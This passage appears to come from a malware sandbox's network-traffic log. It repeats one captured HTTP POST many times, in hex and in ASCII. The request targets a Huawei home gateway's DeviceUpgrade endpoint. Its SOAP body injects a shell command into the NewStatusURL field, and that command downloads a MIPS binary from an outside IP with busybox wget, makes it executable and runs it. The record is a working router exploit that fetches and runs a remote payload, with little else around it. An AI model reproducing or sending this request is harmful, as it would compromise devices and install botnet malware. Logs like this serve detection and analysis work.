6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l 